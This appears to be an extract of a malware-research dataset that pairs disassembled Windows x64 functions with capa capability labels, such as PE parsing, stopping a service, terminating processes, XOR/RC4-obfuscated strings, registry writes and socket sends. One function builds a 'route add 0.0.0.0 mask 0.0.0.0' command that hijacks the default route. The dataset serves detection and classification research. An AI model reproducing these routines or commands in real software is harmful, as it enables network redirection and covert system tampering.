joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14031e682
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140373628]
test eax, eax
je 0x14031e71a
lea rax, [0x140373600]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140373630]
mov qword [rbp - 8], rax
jmp 0x14031e6fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14031e6f2
cmp qword [rbp - 0x10], 0
je 0x14031e6f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14031e6b8
lea rax, [0x140373600]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14031e71b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14031e820
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14031e848
mov eax, 0
jmp 0x14031e896
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14031e871
mov eax, 0
jmp 0x14031e896
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14031e891
mov eax, 0
jmp 0x14031e896
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14031e89c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14031e91a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14031e911
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14031e911
mov rax, qword [rbp - 8]
jmp 0x14031e92f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14031e8e4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140069424
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
cmp qword [0x1402dbf68], 0
mov rdi, rcx
jne 0x140069442
xor eax, eax
jmp 0x14006953d
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 0x40]
call fcn.140037e84
mov edx, 1
mov rcx, rdi
call fcn.1400693a8
mov rcx, rax
call fcn.14006ed80
test rax, rax
jne 0x14006946f
xor r9d, r9d
jmp 0x140069473
mov r9, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov ebx, 0x1003
mov edx, ebx
xor r8d, r8d
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, rax
call fcn.14006ed80
xor edx, edx
mov rcx, rdi
call fcn.1400693a8
mov rcx, rax
call fcn.14006ed80
test rax, rax
jne 0x1400694ab
xor r9d, r9d
jmp 0x1400694af
mov r9, qword [rax + 8]
mov rcx, qword [rdi + 0x40]
mov r8d, 1
mov edx, ebx
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, rax
call fcn.14006ed80
mov rax, qword [rdi]
mov rbx, qword [rax + 0x328]
mov rcx, rbx
call fcn.1401c8134
mov rcx, rdi
call rbx
cmp qword [rdi + 0x248], 0
jne 0x140069538
and qword [rsp + 0x30], 0
lea r8, [rsp + 0x28]
xorps xmm0, xmm0
xor edx, edx
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
call sub.SHELL32.dll_SHGetSpecialFolderLocation
test eax, eax
js 0x140069538
mov rcx, qword [rdi]
mov rbx, qword [rcx + 0x310]
mov rcx, rbx
call fcn.1401c8134
lea rdx, [rsp + 0x20]
mov rcx, rdi
call rbx
mov rdx, qword [rsp + 0x28]
mov rcx, qword [0x1402dbf68]
call fcn.1400cb04c
mov eax, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14007e3f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r15, rcx
test r8, r8
jne 0x14007e421
call fcn.140035090
mov rdi, qword [rax + 0x18]
lea r8, [0x140220e50]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
jne 0x14007e440
xor eax, eax
jmp 0x14007e48c
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x14007e43c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14007e481
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r14
mov rcx, r15
mov r8d, eax
call fcn.14007e4a8
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x14008b16e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rax, sym.imp.KERNEL32.dll_LocalAlloc
movabs rdi, sym.imp.KERNEL32.dll_LocalFree
mov edx, 0x5f5e100
mov rax, qword [rax]
mov rdi, qword [rdi]
xor ecx, ecx
mov dword [rbp - 0x20], 0x21684c5f
mov dword [rbp - 0x1c], 0x6672534c
mov dword [rbp - 0x18], 0x65212632
mov dword [rbp - 0x14], 0x30657731
mov dword [rbp - 0x10], 0x4825445a
mov dword [rbp - 0xc], 0x54333938
mov dword [rbp - 8], 0x245f49
call rax
xor r10d, r10d
mov r9, rax
mov ecx, r10d
nop dword [rax]
mov byte [rcx + rax], cl
inc rcx
cmp rcx, 0x5f5e100
jb 0x14008b1ee
movzx ecx, byte [rax]
mov r11, r10
movabs rsi, 0x2492492492492493
movzx edx, byte [rcx + rax + 0x64]
movabs rax, 0x14007b6d7
movabs r14, 0x14007d9ff
imul ecx, edx, 0x5a
movsxd rbx, ecx
add rbx, rax
movzx eax, byte [r9]
movsxd rcx, r10d
inc r10d
imul r8, rax, 0x299
mov rax, rsi
inc r8
mul rcx
mov rax, rcx
imul r8, r11
sub rax, rdx
inc r11
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1c
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
mov dh, 0x44
or eax, 0x43043e0
xor byte [rcx - 0x7f], al
cli
rol byte [rdi], 1
add byte [rax], al
jb 0x14008b22f
mov rcx, r9
call rdi
movabs rcx, resource.0
call rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop rbp
ret
Function at 0x180001000
Capabilities:
Get routing table

Disassembly:
push rbx
push rbp
sub rsp, 0x1c8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8d, [rbx + 0x3c]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x180001210
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x1e8], rdi
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x180001098
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x18000120c
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rbp
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x1800011f8
cmp dword [rbp], ebx
mov qword [rsp + 0x1f0], r12
mov r12d, ebx
jle 0x1800011b8
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1c0], r13
lea r13, [rbp + 8]
nop dword [rax + rax]
mov ecx, dword [r13 - 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x30]
mov edx, 0x80
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
mov ecx, dword [r13]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0xb0]
mov edx, 0x80
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
mov ecx, dword [r13 + 8]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x130]
mov edx, 0x80
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
lea rsi, [rsp + 0x30]
lea rdi, str.0.0.0.0
mov ecx, 8
repe cmpsb byte [rsi], byte [rdi]
jne 0x18000116a
lea rsi, [rsp + 0xb0]
lea rdi, str.0.0.0.0
mov ecx, 8
repe cmpsb byte [rsi], byte [rdi]
je 0x18000117d
inc r12d
add r13, 0x38
cmp r12d, dword [rbp]
jl 0x1800010e0
jmp 0x1800011a8
lea rcx, [0x18000b4d0]
nop word [rax + rax]
movzx eax, byte [rsp + rbx + 0x130]
inc rbx
mov byte [rbx + rcx - 1], al
test al, al
jne 0x180001190
mov ebx, 1
mov rsi, qword [rsp + 0x1e0]
mov r13, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x1f0]
mov eax, ebx
mov rdi, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.180006760
add rsp, 0x1c8
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x1800011d6
mov eax, ebx
jmp 0x1800011de
Function at 0x180001220
Capabilities:
Initialize winsock library
Print debug messages

Disassembly:
sub rsp, 0x1d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
test edx, edx
je 0x1800012e6
cmp edx, 1
jne 0x180001306
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180001306
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x18000b488], rax
test rax, rax
je 0x180001306
lea rcx, str.message_Ok.
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call section..text
test eax, eax
jne 0x1800012a9
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
test eax, eax
je 0x180001295
lea rcx, [0x18000b4f0]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [0x18000b4d0]
lea rdx, str._c_route_add_0.0.0.0_mask_0.0.0.0__s
lea rcx, [0x18000b4f0]
call qword [sym.imp.MSVCR90.dll_sprintf]
call fcn.180002a90
mov byte [str.SOFTWARE_test], 0
jmp 0x180001306
mov rcx, qword [0x18000b488]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18000b368]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180006760
add rsp, 0x1d8
ret

Function at 0x180001330
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea rdx, str.Themes
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rax
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov ebx, 0x1d
lea r8, [rsp + 0x20]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1800013a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
je 0x1800013c0
cmp dword [rsp + 0x24], 1
je 0x1800013c8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0xffffffff
jne 0x180001383
jmp 0x1800013c8
mov dword [rsp + 0x24], 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180001480
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, dword [0x18000b644]
xor edx, edx
mov ecx, 0x1f0fff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800014c9
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1800014c0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
pop rbx
ret
Function at 0x1800014d0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rsi, rcx
xor ebp, ebp
xor edx, edx
lea ecx, [rbp + 0xf]
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x4c]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x18000155e
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x4c]
cmp cl, 0x41
jl 0x180001556
cmp cl, 0x5f
jg 0x180001556
add cl, 0x20
mov byte [rsp + rax + 0x4c], cl
inc rax
cmp rax, rdx
jl 0x180001540
lea rax, [rsp + 0x4c]
mov rdi, rsi
sub rdi, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x180001582
inc rax
test ecx, ecx
jne 0x180001570
test edx, edx
je 0x180001599
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180001520
jmp 0x1800015a8
mov eax, dword [rsp + 0x28]
mov ebp, 1
mov dword [0x18000b644], eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x18000b6a0], 0
mov eax, ebp
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180006760
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180002d00
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x40]
lea r8, [0x180000000]
lea rdi, [rsp + 0x40]
mov rax, qword [r8 + 0x8440]
mov qword [rcx], rax
mov rax, qword [r8 + 0x8448]
mov qword [rcx + 8], rax
mov rax, qword [r8 + 0x8450]
mov qword [rcx + 0x10], rax
movzx eax, word [r8 + 0x8458]
mov word [rcx + 0x18], ax
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x5a], rax
mov qword [rsp + 0x62], rax
mov qword [rsp + 0x6a], rax
mov byte [rsp + 0x72], al
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x180002d8d
add byte [rsp + rax + 0x40], 2
inc rax
cmp rax, rdx
jl 0x180002d80
mov rax, qword [r8 + 0x8460]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x8e]
mov qword [rdx], rax
mov eax, dword [r8 + 0x8468]
mov dword [rdx + 8], eax
movzx eax, word [r8 + 0x846c]
mov word [rdx + 0xc], ax
xor edx, edx
lea r8d, [rdx + 0x57]
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x180002e00
nop word [rax + rax]
add byte [rsp + rax + 0x80], 3
inc rax
cmp rax, rdx
jl 0x180002df0
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [0x18000b6a4], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180002e8e
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x30]
cmp eax, 0xf4240
jbe 0x180002e84
add eax, 0xbc614e
mov dword [0x18000b6a4], eax
jmp 0x180002e8e
mov dword [0x18000b6a4], 0
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180002e9e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.180006760
add rsp, 0x100
pop rdi
ret
Function at 0x180003910
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
jle 0x1800039ce
lea r10, [0x18000b668]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x180003950
xor ecx, ecx
test r9d, r9d
jle 0x18000398a
mov r8, r10
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r8 - 1], al
cmp ecx, r9d
jl 0x180003970
mov rcx, qword [0x18000b368]
lea eax, [r9 + 1]
lea rdx, [0x18000ac58]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdi + rbx - 1], al
test al, al
jne 0x1800039c0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800039e0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x18000b634], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x18000b368]
lea rax, [rsp + 0x40]
lea rdx, [0x18000ac64]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x180003a30
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r9, rcx
test ecx, ecx
jle 0x180003aee
lea r10, [0x18000b678]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
nop dword [rax]
movzx eax, byte [rdx]
inc rdx
mov byte [rdi + rdx - 1], al
test al, al
jne 0x180003a70
xor ecx, ecx
test r9d, r9d
jle 0x180003aaa
mov r8, r10
nop dword [rax + rax]
mov eax, ecx
inc r8
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r8 - 1], al
cmp ecx, r9d
jl 0x180003a90
mov rcx, qword [0x18000b368]
lea eax, [r9 + 1]
lea rdx, [0x18000ac70]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop word [rax + rax]
movzx eax, byte [rbx]
inc rbx
mov byte [rdi + rbx - 1], al
test al, al
jne 0x180003ae0
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1800065e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov rbp, rcx
mov rcx, qword [0x18000b488]
mov rdi, rdx
or edx, 0xffffffff
mov ebx, r8d
mov esi, 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [rsp + 0x40], ebx
mov r12, rax
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x48], rdi
xor ebx, ebx
nop word [rax + rax]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
mov r8d, esi
mov rcx, rbp
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x18000668e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x1800066f7
lea rdx, [rsp + 0x50]
or r9d, 0xffffffff
xor r8d, r8d
mov ecx, esi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0xffffffff
je 0x1800066f7
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAResetEvent]
lea r11, [rsp + 0xa8]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x60]
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x20], r11
call qword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x1800066f7
mov eax, dword [rsp + 0xb0]
sub dword [rsp + 0x40], eax
je 0x1800066f9
add qword [rsp + 0x48], rax
jmp 0x180006650
mov esi, ebx
mov rcx, r12
call qword [sym.imp.WS2_32.dll_WSACloseEvent]
mov rcx, qword [0x18000b488]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea r11, [rsp + 0x80]
mov eax, esi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x180006c5b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x18000677a
rol rcx, 0x10
test cx, 0xffff
jne 0x180006776
repz ret
ror rcx, 0x10
jmp 0x180006bb4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000ae70]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18000af68]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180006c39
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000ae70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180006c5b
mov rax, qword [rsp + 0x88]
mov qword [0x18000af68], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000af08], rax
mov rax, qword [0x18000af68]
mov qword [0x18000ade0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000aef0], rax
mov dword [0x18000add0], 0xc0000409
mov dword [0x18000add4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000a008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000ae68], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180008320]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000ae68], 0
jne 0x180006ce2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret